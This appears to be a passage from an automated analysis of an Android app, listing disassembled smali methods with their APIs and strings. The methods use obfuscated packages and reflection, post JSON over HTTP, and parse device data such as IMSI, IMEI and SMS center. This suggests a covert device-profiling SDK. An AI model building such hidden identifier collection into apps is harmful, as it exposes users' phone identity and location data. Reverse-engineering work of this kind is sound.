                              134invoke-virtual {v4}, Ljava/lang/ClassNotFoundException;->printStackTrace()V
                              135goto/16 :goto_96
                              136catch_b5: move-exception v0
                              138invoke-virtual {v0}, Ljava/lang/ClassNotFoundException;->printStackTrace()V
                              139move-object v0, v2
                              140goto/16 :goto_a8
                              141cond_bb: aput-object v2, v7, v1
                              142goto/16 :goto_ac
                              143cond_be: aput-object v2, v7, v1
                              144goto/16 :goto_ad
                              145cond_c1:
                              146invoke-virtual {p2}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              147move-result-object v1
                              149invoke-virtual {p1, v1, v6}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              150move-result-object v1
                              151iput-object v1, p0, Lmirror/RefStaticMethod;->method:Ljava/lang/reflect/Method;
                              152cond_cb:
                              153iget-object v0, p0, Lmirror/RefStaticMethod;->method:Ljava/lang/reflect/Method;
                              155invoke-virtual {v0, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              156goto/16 :goto_5c
                              157catch_d1: move-exception v1
                              159invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              160if-eqz v0, :cond_cb
                              162invoke-virtual {p2}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              163move-result-object v0
                              165invoke-virtual {p1, v0, v7}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              166move-result-object v0
                              167iput-object v0, p0, Lmirror/RefStaticMethod;->method:Ljava/lang/reflect/Method;
                              168goto/16 :goto_cb
                              169cond_e2:
                              170invoke-virtual {p1}, Ljava/lang/Class;->getDeclaredMethods()[Ljava/lang/reflect/Method;
                              171move-result-object v0
                              172array-length v2, v0
                              173goto_e7: if-ge v1, v2, :cond_5c
                              174aget-object v4, v0, v1
                              176invoke-virtual {v4}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              177move-result-object v5
                              179invoke-virtual {p2}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              180move-result-object v6
                              182invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              183move-result v5
                              184if-eqz v5, :cond_102
                              185iput-object v4, p0, Lmirror/RefStaticMethod;->method:Ljava/lang/reflect/Method;
                              187iget-object v0, p0, Lmirror/RefStaticMethod;->method:Ljava/lang/reflect/Method;
                              189invoke-virtual {v0, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              190goto/16 :goto_5c
                              191cond_102: add-int/lit8 v1, v1, 0x1
                              192goto/16 :goto_e7
                              193cond_105: return-void
                              Cross References
                              APIs
                              • android.text.TextUtils.isEmpty
                              • android.content.SharedPreferences.getString
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.content.SharedPreferences.edit
                              • android.content.SharedPreferences$Editor.putString
                              • android.content.SharedPreferences$Editor.commit
                              • android.text.TextUtils.isEmpty
                              • java.lang.String.substring
                              • java.lang.StringBuilder.<init>
                              • java.lang.String.length
                              • java.lang.String.charAt
                              • java.lang.Character.isDigit
                              • java.lang.Character.toString
                              • java.lang.Integer.parseInt
                              • java.lang.StringBuilder.append
                              • java.lang.Character.toString
                              • java.lang.Integer.parseInt
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.text.TextUtils.isEmpty
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.reverse
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.SharedPreferences.getString
                              • android.text.TextUtils.isEmpty
                              • android.content.SharedPreferences.edit
                              • android.content.SharedPreferences$Editor.putString
                              • java.lang.String.equals
                              Strings
                              • ek__id
                              • ek_key
                              • umeng+
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1:
                              3sget-object v1, Lb/a/cx;->b:Ljava/lang/String;
                              5invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              6move-result v1
                              7if-eqz v1, :cond_77
                              9sget-object v1, Lb/a/cx;->a:Landroid/content/Context;
                              11invoke-static {v1}, Lb/a/aa;->a(Landroid/content/Context;)Landroid/content/SharedPreferences;
                              12move-result-object v2
                              14const-string v1, "ek__id"
                              15const/4 v3, 0x0
                              17invoke-interface {v2, v1, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              18move-result-object v1
                              20invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              21move-result v3
                              22if-eqz v3, :cond_35
                              24sget-object v1, Lb/a/cx;->a:Landroid/content/Context;
                              26invoke-static {v1}, Lb/a/at;->w(Landroid/content/Context;)Ljava/lang/String;
                              27move-result-object v1
                              29invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              30move-result v3
                              31if-nez v3, :cond_35
                              33invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                              34move-result-object v3
                              36const-string v4, "ek__id"
                              38invoke-interface {v3, v4, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                              39move-result-object v3
                              41invoke-interface {v3}, Landroid/content/SharedPreferences$Editor;->commit()Z
                              42cond_35:
                              43invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              44move-result v3
                              45if-nez v3, :cond_82
                              46const/4 v3, 0x1
                              47const/16 v4, 0x9
                              49invoke-virtual {v1, v3, v4}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              50move-result-object v1
                              51new-instance v3, Ljava/lang/StringBuilder;
                              53invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              54goto_47:
                              55invoke-virtual {v1}, Ljava/lang/String;->length()I
                              56move-result v4
                              57if-ge v0, v4, :cond_7c
                              59invoke-virtual {v1, v0}, Ljava/lang/String;->charAt(I)C
                              60move-result v4
                              62invoke-static {v4}, Ljava/lang/Character;->isDigit(C)Z
                              63move-result v5
                              64if-eqz v5, :cond_78
                              66invoke-static {v4}, Ljava/lang/Character;->toString(C)Ljava/lang/String;
                              67move-result-object v5
                              69invoke-static {v5}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              70move-result v5
                              71if-nez v5, :cond_68
                              72const/4 v4, 0x0
                              74invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              75goto_65: add-int/lit8 v0, v0, 0x1
                              76goto/16 :goto_47
                              77cond_68:
                              78invoke-static {v4}, Ljava/lang/Character;->toString(C)Ljava/lang/String;
                              79move-result-object v4
                              81invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              82move-result v4
                              83rsub-int/lit8 v4, v4, 0xa
                              85invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              86goto/16 :goto_65
                              87catch_76: move-exception v0
                              88goto_77: return-void
                              89cond_78:
                              90invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                              91goto/16 :goto_65
                              92cond_7c:
                              93invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              94move-result-object v0
                              95sput-object v0, Lb/a/cx;->b:Ljava/lang/String;
                              96cond_82:
                              97sget-object v0, Lb/a/cx;->b:Ljava/lang/String;
                              99invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              100move-result v0
                              101if-nez v0, :cond_77
                              102new-instance v0, Ljava/lang/StringBuilder;
                              104invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              106sget-object v1, Lb/a/cx;->b:Ljava/lang/String;
                              108invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              109move-result-object v0
                              110new-instance v1, Ljava/lang/StringBuilder;
                              112sget-object v3, Lb/a/cx;->b:Ljava/lang/String;
                              114invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              116invoke-virtual {v1}, Ljava/lang/StringBuilder;->reverse()Ljava/lang/StringBuilder;
                              117move-result-object v1
                              119invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              120move-result-object v1
                              122invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              123move-result-object v0
                              125invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              126move-result-object v0
                              127sput-object v0, Lb/a/cx;->b:Ljava/lang/String;
                              129const-string v0, "ek_key"
                              130const/4 v1, 0x0
                              132invoke-interface {v2, v0, v1}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              133move-result-object v0
                              135invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              136move-result v1
                              137if-eqz v1, :cond_cb
                              139invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                              140move-result-object v0
                              142const-string v1, "ek_key"
                              144const-string v2, "umeng+"
                              146invoke-virtual {p0, v2}, Lb/a/cx;->a(Ljava/lang/String;)Ljava/lang/String;
                              147move-result-object v2
                              149invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                              150goto/16 :goto_77
                              151cond_cb:
                              152const-string v1, "umeng+"
                              154invoke-virtual {p0, v0}, Lb/a/cx;->b(Ljava/lang/String;)Ljava/lang/String;
                              155move-result-object v0
                              157invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              158move-result v0
                              159if-nez v0, :cond_77
                              160const/4 v0, 0x1
                              161const/4 v1, 0x0
                              163invoke-virtual {p0, v0, v1}, Lb/a/cx;->a(ZZ)V
                              164try_end_dc: goto/16 :goto_77
                              Cross References
                              APIs
                              • java.lang.System.getProperty
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • android.content.Context.getPackageName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.System.setProperty
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.optJSONObject
                              • org.json.JSONObject.optJSONObject
                              • org.json.JSONObject.optJSONObject
                              • org.json.JSONObject.optJSONObject
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Exception.getMessage
                              Strings
                              • PluginConfig
                              • use
                              • config
                              • us
                              • cs
                              • cp
                              • ap
                              • lib use Appid
                              • Channelid
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-direct {p0}, Lsdk/nicro/lu/s;-><init>()V
                              3iput-object p1, p0, Lsdk/nicro/lu/s$c;->h:Landroid/content/Context;
                              4try_start_5:
                              5const-string/jumbo v0, "PluginConfig"
                              7invoke-static {}, Lsdk/nicro/lu/s;->e()Ljava/lang/String;
                              8move-result-object v1
                              10invoke-static {v0, v1}, Ljava/lang/System;->getProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              11move-result-object v0
                              13invoke-static {}, Lsdk/nicro/lu/s;->e()Ljava/lang/String;
                              14move-result-object v1
                              15if-eqz v1, :cond_38
                              16new-instance v1, Ljava/lang/StringBuilder;
                              18invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              20sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              23move-result-object v1
                              25invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              26move-result-object v2
                              28invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              29move-result-object v1
                              31invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              32move-result-object v1
                              34invoke-static {v1}, Lsdk/nicro/lu/d;->a(Ljava/lang/String;)Ljava/lang/String;
                              35move-result-object v1
                              37invoke-static {}, Lsdk/nicro/lu/s;->e()Ljava/lang/String;
                              38move-result-object v2
                              40invoke-static {v1, v2}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              41cond_38:
                              42invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              43move-result-object v1
                              44new-instance v2, Ljava/lang/StringBuilder;
                              46invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              48const-string/jumbo v3, "use "
                              50invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              51move-result-object v2
                              53invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              54move-result-object v2
                              56const-string/jumbo v3, " config"
                              58invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              59move-result-object v2
                              61invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              62move-result-object v2
                              64invoke-interface {v1, v2}, Lsdk/nicro/lu/h;->a(Ljava/lang/String;)V
                              66invoke-static {p1, v0}, Lsdk/nicro/lu/s$c;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/io/InputStream;
                              67move-result-object v0
                              68new-instance v1, Lorg/json/JSONObject;
                              70invoke-direct {p0, v0}, Lsdk/nicro/lu/s$c;->a(Ljava/io/InputStream;)Ljava/lang/String;
                              71move-result-object v0
                              73invoke-direct {v1, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              74iput-object v1, p0, Lsdk/nicro/lu/s$c;->a:Lorg/json/JSONObject;
                              76iget-object v0, p0, Lsdk/nicro/lu/s$c;->a:Lorg/json/JSONObject;
                              78const-string/jumbo v1, "us"
                              80invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              81move-result-object v0
                              82iput-object v0, p0, Lsdk/nicro/lu/s$c;->b:Lorg/json/JSONObject;
                              84iget-object v0, p0, Lsdk/nicro/lu/s$c;->a:Lorg/json/JSONObject;
                              86const-string/jumbo v1, "cs"
                              88invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              89move-result-object v0
                              90iput-object v0, p0, Lsdk/nicro/lu/s$c;->c:Lorg/json/JSONObject;
                              92iget-object v0, p0, Lsdk/nicro/lu/s$c;->a:Lorg/json/JSONObject;
                              94const-string/jumbo v1, "cp"
                              96invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              97move-result-object v0
                              98iput-object v0, p0, Lsdk/nicro/lu/s$c;->d:Lorg/json/JSONObject;
                              100iget-object v0, p0, Lsdk/nicro/lu/s$c;->a:Lorg/json/JSONObject;
                              102const-string/jumbo v1, "ap"
                              104invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              105move-result-object v0
                              106iput-object v0, p0, Lsdk/nicro/lu/s$c;->e:Lorg/json/JSONObject;
                              108invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              109move-result-object v0
                              110new-instance v1, Ljava/lang/StringBuilder;
                              112invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              114const-string/jumbo v2, "lib use Appid "
                              116invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              117move-result-object v1
                              119invoke-virtual {p0}, Lsdk/nicro/lu/s$c;->a()Ljava/lang/String;
                              120move-result-object v2
                              122invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              123move-result-object v1
                              125const-string/jumbo v2, " Channelid "
                              127invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              128move-result-object v1
                              130invoke-virtual {p0}, Lsdk/nicro/lu/s$c;->b()Ljava/lang/String;
                              131move-result-object v2
                              133invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              134move-result-object v1
                              136invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              137move-result-object v1
                              139invoke-interface {v0, v1}, Lsdk/nicro/lu/h;->a(Ljava/lang/String;)V
                              140goto_c3: return-void
                              141catch_c4: move-exception v0
                              143invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                              144move-result-object v0
                              146invoke-static {v0}, Lsdk/nicro/lu/s;->d(Ljava/lang/String;)V
                              147goto/16 :goto_c3
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • java.lang.System.getProperty
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setConnectTimeout
                              • java.net.HttpURLConnection.setReadTimeout
                              • java.net.HttpURLConnection.setUseCaches
                              • java.net.HttpURLConnection.setRequestMethod
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.getOutputStream
                              • java.io.OutputStreamWriter.<init>
                              • java.io.OutputStreamWriter.write
                              • java.io.OutputStreamWriter.flush
                              • java.io.OutputStreamWriter.close
                              • java.net.HttpURLConnection.getInputStream
                              • java.net.HttpURLConnection.getResponseCode
                              • java.io.InputStream.close
                              • java.net.HttpURLConnection.disconnect
                              • java.lang.Object.toString
                              • java.net.HttpURLConnection.getErrorStream
                              • java.net.HttpURLConnection.getErrorStream
                              Strings
                              • Request :
                              • http.agent
                              • User-Agent
                              • Android
                              • POST
                              • Accept
                              • application/json
                              • Content-Type
                              • UTF-8
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2new-instance v0, Ljava/lang/StringBuilder;
                              4const-string v1, "Request : "
                              6invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              8invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              9instance-of v3, p1, Lorg/json/JSONObject;
                              10if-nez p1, :cond_83
                              11move-object v1, v2
                              12goto_10: new-instance v4, La/a/a/a;
                              14invoke-direct {v4}, La/a/a/a;-><init>()V
                              15try_start_15: new-instance v0, Ljava/net/URL;
                              17invoke-direct {v0, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              19invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              20move-result-object v0
                              21check-cast v0, Ljava/net/HttpURLConnection;
                              22try_end_20:
                              23const-string v2, "http.agent"
                              25invoke-static {v2}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
                              26move-result-object v2
                              28const-string v5, "User-Agent"
                              29if-nez v2, :cond_2c
                              31const-string v2, "Android"
                              32cond_2c:
                              33invoke-virtual {v0, v5, v2}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              34const v2, 0xea60
                              36invoke-virtual {v0, v2}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                              37const v2, 0x493e0
                              39invoke-virtual {v0, v2}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                              40const/4 v2, 0x0
                              42invoke-virtual {v0, v2}, Ljava/net/HttpURLConnection;->setUseCaches(Z)V
                              44const-string v2, "POST"
                              46invoke-virtual {v0, v2}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                              47if-eqz v1, :cond_68
                              48if-eqz v3, :cond_56
                              50const-string v2, "Accept"
                              52const-string v3, "application/json"
                              54invoke-virtual {v0, v2, v3}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              56const-string v2, "Content-Type"
                              58const-string v3, "application/json"
                              60invoke-virtual {v0, v2, v3}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              61cond_56:
                              62invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                              63move-result-object v2
                              64new-instance v3, Ljava/io/OutputStreamWriter;
                              66invoke-direct {v3, v2}, Ljava/io/OutputStreamWriter;-><init>(Ljava/io/OutputStream;)V
                              68invoke-virtual {v3, v1}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V
                              70invoke-virtual {v3}, Ljava/io/OutputStreamWriter;->flush()V
                              72invoke-virtual {v3}, Ljava/io/OutputStreamWriter;->close()V
                              73cond_68:
                              74invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                              75move-result-object v1
                              77const-string v2, "UTF-8"
                              79invoke-static {v1, v2}, La/a/b/b;->a(Ljava/io/InputStream;Ljava/lang/String;)Ljava/lang/String;
                              80move-result-object v2
                              82invoke-virtual {v4, v2}, La/a/a/a;->a(Ljava/lang/String;)V
                              84invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getResponseCode()I
                              85move-result v2
                              87invoke-virtual {v4, v2}, La/a/a/a;->a(I)V
                              89invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                              91invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
                              92cond_82: return-object v4
                              93cond_83:
                              94invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
                              95move-result-object v0
                              96move-object v1, v0
                              97goto/16 :goto_10
                              98catch_89: move-exception v0
                              99move-object v0, v2
                              100goto_8b: if-eqz v0, :cond_82
                              101try_start_8d:
                              102invoke-virtual {v4}, La/a/a/a;->b()Ljava/lang/String;
                              103move-result-object v1
                              104if-nez v1, :cond_82
                              106invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getErrorStream()Ljava/io/InputStream;
                              107move-result-object v1
                              108if-eqz v1, :cond_82
                              110invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getErrorStream()Ljava/io/InputStream;
                              111move-result-object v0
                              113const-string v1, "UTF-8"
                              115invoke-static {v0, v1}, La/a/b/b;->a(Ljava/io/InputStream;Ljava/lang/String;)Ljava/lang/String;
                              116move-result-object v0
                              118invoke-virtual {v4, v0}, La/a/a/a;->a(Ljava/lang/String;)V
                              119try_end_a6: goto/16 :goto_82
                              120catch_a7: move-exception v0
                              121goto/16 :goto_82
                              122catch_a9: move-exception v1
                              123goto/16 :goto_8b
                              APIs
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.getInt
                              • org.json.JSONObject.getInt
                              • org.json.JSONObject.getInt
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.getInt
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.getInt
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.getString
                              Strings
                              • hsman
                              • hstype
                              • osVer
                              • screenWidth
                              • screenHeight
                              • ramSize
                              • imsi
                              • imei
                              • smsCenter
                              • Lac
                              • ip
                              • networkType
                              • channelId
                              • appId
                              • versionCode
                              • providersName
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Lorg/json/JSONObject;
                              3invoke-direct {v0, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              5const-string/jumbo v1, "hsman"
                              7invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              8move-result-object v1
                              9iput-object v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->a:Ljava/lang/String;
                              11const-string/jumbo v1, "hstype"
                              13invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              14move-result-object v1
                              15iput-object v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->b:Ljava/lang/String;
                              17const-string/jumbo v1, "osVer"
                              19invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              20move-result-object v1
                              21iput-object v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->c:Ljava/lang/String;
                              23const-string/jumbo v1, "screenWidth"
                              25invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                              26move-result v1
                              27int-to-short v1, v1
                              28iput-short v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->d:S
                              30const-string/jumbo v1, "screenHeight"
                              32invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                              33move-result v1
                              34int-to-short v1, v1
                              35iput-short v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->e:S
                              37const-string/jumbo v1, "ramSize"
                              39invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                              40move-result v1
                              41int-to-short v1, v1
                              42iput-short v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->f:S
                              44const-string/jumbo v1, "imsi"
                              46invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              47move-result-object v1
                              48iput-object v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->g:Ljava/lang/String;
                              50const-string/jumbo v1, "imei"
                              52invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              53move-result-object v1
                              54iput-object v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->h:Ljava/lang/String;
                              56const-string/jumbo v1, "smsCenter"
                              58invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              59move-result-object v1
                              60iput-object v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->i:Ljava/lang/String;
                              62const-string/jumbo v1, "Lac"
                              64invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                              65move-result v1
                              66int-to-short v1, v1
                              67iput-short v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->j:S
                              69const-string/jumbo v1, "ip"
                              71invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              72move-result-object v1
                              73iput-object v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->k:Ljava/lang/String;
                              75const-string/jumbo v1, "networkType"
                              77invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                              78move-result v1
                              79int-to-byte v1, v1
                              80iput-byte v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->l:B
                              82const-string/jumbo v1, "channelId"
                              84invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              85move-result-object v1
                              86iput-object v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->m:Ljava/lang/String;
                              88const-string/jumbo v1, "appId"
                              90invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              91move-result-object v1
                              92iput-object v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->n:Ljava/lang/String;
                              94const-string/jumbo v1, "versionCode"
                              96invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              97move-result-object v1
                              98iput-object v1, p0, Lcom/omg/base/network/objects/TerminalInfo;->o:Ljava/lang/String;
                              100const-string/jumbo v1, "providersName"
                              102invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              103move-result-object v0
                              104iput-object v0, p0, Lcom/omg/base/network/objects/TerminalInfo;->p:Ljava/lang/String;
                              105return-void
                              APIs
                              • java.lang.Object.<init>
                              • java.lang.reflect.Field.isAnnotationPresent
                              • java.lang.reflect.Field.getAnnotation
                              • java.lang.Class.getClassLoader
                              • java.lang.Object.getClass
                              • java.lang.Class.getClassLoader
                              • java.lang.Class.getName
                              • java.lang.Class.forName
                              • java.lang.Class.getField
                              • java.lang.reflect.Field.get
                              • java.lang.RuntimeException.<init>
                              • java.lang.reflect.Field.getName
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Field.getName
                              • java.lang.NoSuchMethodException.<init>
                              • java.lang.reflect.Field.isAnnotationPresent
                              • java.lang.reflect.Field.getAnnotation
                              • java.lang.Class.forName
                              • java.lang.ClassNotFoundException.printStackTrace
